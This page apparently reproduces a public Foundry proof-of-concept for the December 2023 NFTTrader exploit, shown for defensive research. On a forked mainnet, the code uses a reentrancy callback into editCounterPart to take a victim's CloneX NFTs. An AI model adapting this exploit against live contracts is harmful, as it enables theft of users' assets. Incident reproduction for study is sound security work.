Public reproduction file
src/test/2023-12/NFTTrader_exp.sol
Public reproduction file for dataset entry NFTTrader.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~3M (info from hacked.slowmist.io)8// Attacker : https://etherscan.io/address/0xb1edf2a0ba8bc789cbc3dfbe519737cada034d2d9// Attacker Contract : https://etherscan.io/address/0x871f28e58f2a0906e4a56a82aec7f005b411f5c510// Vulnerable Contract : https://etherscan.io/address/0xc310e760778ecbca4c65b6c559874757a4c4ece011// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d13// @Analysis14// https://twitter.com/AnciliaInc/status/173626388421713933315// https://twitter.com/SlowMist_Team/status/173600552355064653516// https://twitter.com/0xArhat/status/173603825019065146718interface IUniV3PosNFT {19 struct MintParams {20 address token0;21 address token1;22 uint24 fee;23 int24 tickLower;24 int24 tickUpper;25 uint256 amount0Desired;26 uint256 amount1Desired;27 uint256 amount0Min;28 uint256 amount1Min;29 address recipient;30 uint256 deadline;31 }33 function setApprovalForAll(address operator, bool approved) external;35 function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) external;37 function mint(38 MintParams memory params39 ) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);40}42interface INFTTrader {43 struct swapIntent {44 uint256 id;45 address addressOne;46 uint256 valueOne;47 address addressTwo;48 uint256 valueTwo;49 uint256 swapStart;50 uint256 swapEnd;51 uint256 swapFee;52 uint8 status;53 }55 struct swapStruct {56 address dapp;57 address typeStd;58 uint256[] tokenId;59 uint256[] blc;60 bytes data;61 }63 function closeSwapIntent(address _swapCreator, uint256 _swapId) external payable;65 function createSwapIntent(66 swapIntent memory _swapIntent,67 swapStruct[] memory _nftsOne,68 swapStruct[] memory _nftsTwo69 ) external payable;71 function editCounterPart(uint256 _swapId, address _counterPart) external;72}74contract ContractTest is Test {75 IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);76 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));77 IUniV3PosNFT private constant UniV3PosNFT = IUniV3PosNFT(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);78 INFTTrader private constant NFTTrader = INFTTrader(0xC310e760778ECBca4C65B6C559874757A4c4Ece0);79 IERC721 private constant CloneX = IERC721(0x49cF6f5d44E70224e2E23fDcdd2C053F30aDA28B);80 address private constant victim = 0x23938954BC875bb8309AEF15e2Dead54884B73Db;81 address private constant tradeSquad = 0x58874d2951524F7f851bbBE240f0C3cF0b992d79;82 uint256 private swapId;84 function setUp() public {85 vm.createSelectFork("mainnet", 18_799_414);86 vm.label(address(UniV3PosNFT), "UniV3PosNFT");87 vm.label(address(USDC), "USDC");88 vm.label(address(WETH), "WETH");89 vm.label(address(NFTTrader), "NFTTrader");90 vm.label(address(CloneX), "CloneX");91 vm.label(victim, "Victim");92 vm.label(tradeSquad, "tradeSquad");93 }95 function testExploit() public {96 deal(address(this), 0.001 ether);98 IUniV3PosNFT.MintParams memory params = IUniV3PosNFT.MintParams({99 token0: address(USDC),100 token1: address(WETH),101 fee: 500,102 tickLower: 0,103 tickUpper: 100_000,104 amount0Desired: 0,105 amount1Desired: address(this).balance,106 amount0Min: 0,107 amount1Min: 0,108 recipient: address(this),109 deadline: block.timestamp110 });112 (uint256 positionId,,,) = UniV3PosNFT.mint{value: address(this).balance}(params);114 vm.roll(18_799_435);115 deal(address(this), 0.1 ether);116 UniV3PosNFT.setApprovalForAll(address(CloneX), true);118 vm.roll(18_799_487);119 UniV3PosNFT.setApprovalForAll(address(NFTTrader), true);120 require(CloneX.isApprovedForAll(victim, address(NFTTrader)));122 emit log_named_uint("Victim CloneX balance before attack", CloneX.balanceOf(victim));124 emit log_named_uint("Exploiter CloneX balance before attack", CloneX.balanceOf(address(this)));126 uint256[] memory victimsCloneXTokenIds = new uint256[](CloneX.balanceOf(victim));127 victimsCloneXTokenIds[0] = 6670;128 victimsCloneXTokenIds[1] = 6650;129 victimsCloneXTokenIds[2] = 4843;130 victimsCloneXTokenIds[3] = 5432;131 victimsCloneXTokenIds[4] = 9870;133 for (uint8 i; i < victimsCloneXTokenIds.length; ++i) {134 INFTTrader.swapIntent memory _swapIntent = INFTTrader.swapIntent({135 id: 0,136 addressOne: address(0),137 valueOne: 0,138 addressTwo: address(this),139 valueTwo: 0,140 swapStart: 0,141 swapEnd: 0,142 swapFee: 0,143 status: 0144 });146 INFTTrader.swapStruct[] memory _nftsOne = new INFTTrader.swapStruct[](0);147 INFTTrader.swapStruct[] memory _nftsTwo = new INFTTrader.swapStruct[](2);148 uint256[] memory _tokenId1 = new uint256[](1);149 _tokenId1[0] = positionId;150 uint256[] memory _blc = new uint256[](0);151 _nftsTwo[0] = INFTTrader.swapStruct({152 dapp: address(UniV3PosNFT),153 typeStd: tradeSquad,154 tokenId: _tokenId1,155 blc: _blc,156 data: ""157 });159 uint256[] memory _tokenId2 = new uint256[](1);160 _tokenId2[0] = victimsCloneXTokenIds[i];161 _nftsTwo[1] = INFTTrader.swapStruct({162 dapp: address(CloneX),163 typeStd: tradeSquad,164 tokenId: _tokenId2,165 blc: _blc,166 data: ""167 });168 vm.recordLogs();169 NFTTrader.createSwapIntent{value: 0.005 ether}(_swapIntent, _nftsOne, _nftsTwo);170 Vm.Log[] memory entries = vm.getRecordedLogs();171 (swapId,) = abi.decode(entries[0].data, (uint256, address));172 NFTTrader.closeSwapIntent{value: 0.005 ether}(address(this), swapId);173 }175 for (uint8 j; j < victimsCloneXTokenIds.length; ++j) {176 assertEq(CloneX.ownerOf(victimsCloneXTokenIds[j]), address(this));177 }179 emit log_named_uint("Victim CloneX balance after attack", CloneX.balanceOf(victim));181 emit log_named_uint("Exploiter CloneX balance after attack", CloneX.balanceOf(address(this)));182 }184 function onERC721Received(185 address operator,186 address from,187 uint256 tokenId,188 bytes calldata data189 ) external returns (bytes4) {190 // Flawed function. Lack of reentrancy protection191 NFTTrader.editCounterPart(swapId, victim);192 return this.onERC721Received.selector;193 }194}Analysis
Dataset entry
Public Foundry test for “NFTTrader” (2023-12-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb1edf2a0ba8bc789cbc3dfbe519737cada034d2d
- Attacker
0x871f28e58f2a0906e4a56a82aec7f005b411f5c5
- Vulnerable Contract
0xc310e760778ecbca4c65b6c559874757a4c4ece0
- Attack Tx
0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d
- Explorer: https://etherscan.io/address/0xb1edf2a0ba8bc789cbc3dfbe519737cada034d2d
- Explorer: https://etherscan.io/address/0x871f28e58f2a0906e4a56a82aec7f005b411f5c5
- Explorer: https://etherscan.io/address/0xc310e760778ecbca4c65b6c559874757a4c4ece0
- Reference: https://twitter.com/AnciliaInc/status/1736263884217139333
- Reference: https://twitter.com/SlowMist_Team/status/1736005523550646535
- Reference: https://twitter.com/0xArhat/status/1736038250190651467
File record
- Name
- NFTTrader
- Path
- src/test/2023-12/NFTTrader_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2c360bf9ac8fc901a8e21b3ae7a696b63024997c
- Language
- Solidity
- Size
- 195 lines
- Date
- 2023-12-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/NFTTrader_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2c360bf9ac8fc901a8e21b3ae7a696b63024997c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.